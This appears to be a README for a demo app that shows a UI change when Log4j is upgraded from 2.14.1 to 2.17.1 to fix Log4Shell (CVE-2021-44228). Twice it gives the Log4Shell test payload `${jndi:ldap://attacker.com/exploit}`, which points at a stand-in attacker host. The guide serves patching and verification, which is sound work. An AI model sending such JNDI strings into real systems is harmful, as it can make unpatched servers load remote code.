

Testing Log4j CVE Fix Visual Difference

This document explains how to see the visual difference in the UI when the Log4j CVE is fixed.

Current State (Vulnerable)

The application currently uses Log4j 2.14.1, which is vulnerable to CVE-2021-44228 (Log4Shell).

Testing the Vulnerable State

1. Start the application
2. Navigate to the homepage
3. Click on the Log4Shell example link: `${jndi:ldap://attacker.com/exploit}`
4. **You will see:**
 -  Red security banner: "CRITICAL: Log4Shell Attack Detected! System is VULNERABLE"
 - Red vulnerability status in the list
 - Red "SYSTEM VULNERABLE" attack analysis box showing the attack would succeed

Fixing the Vulnerability

To fix the Log4j vulnerability and see the visual difference:

Step 1: Update pom.xml

Change the Log4j version from 2.14.1 to 2.17.1 (or higher):

```
<!-- Fixed Log4j version (CVE-2021-44228 patched) -->
<dependency>
  <groupId>org.apache.logging.log4j</groupId>
  <artifactId>log4j-core</artifactId>
  <version>2.17.1</version>
</dependency>

<dependency>
  <groupId>org.apache.logging.log4j</groupId>
  <artifactId>log4j-api</artifactId>
  <version>2.17.1</version>
</dependency>
```

Step 2: Rebuild and Restart

```
mvn clean package
mvn liberty:run
```

Step 3: Test Again

1. Navigate to the homepage
2. Click on the Log4Shell example link: `${jndi:ldap://attacker.com/exploit}`
3. **You will now see:**
 -  Green security banner: "Log4Shell Attack Blocked! System is PROTECTED"
 - Green checkmark  showing Log4j is fixed
 - Green "ATTACK BLOCKED" analysis box showing the attack was prevented

Visual Differences Summary

State	Banner Color	Banner Icon	Status Message	Attack Analysis
Vulnerable (2.14.1)	 Red		"System is VULNERABLE"	Red box: "SYSTEM VULNERABLE"
Fixed (2.17.1+)	 Green		"System is PROTECTED"	Green box: "ATTACK BLOCKED"

Key Visual Changes

1. **Security Banner:** Changes from red (vulnerable) to green (secure)
2. **Banner Icon:** Changes from  to 
3. **Vulnerability List:** Shows  FIXED instead of  warning
4. **Attack Analysis Box:**
 - Background changes from red to green
 - Title changes from "SYSTEM VULNERABLE" to "ATTACK BLOCKED"
 - Lists change from threats to protections
 - Severity badge changes from "CRITICAL" to "SECURE"

Notes

- The visual difference only appears when searching with the Log4Shell payload
- Normal searches will not trigger the security banner
- The servlet automatically detects the Log4j version at runtime
- No code changes needed beyond updating pom.xml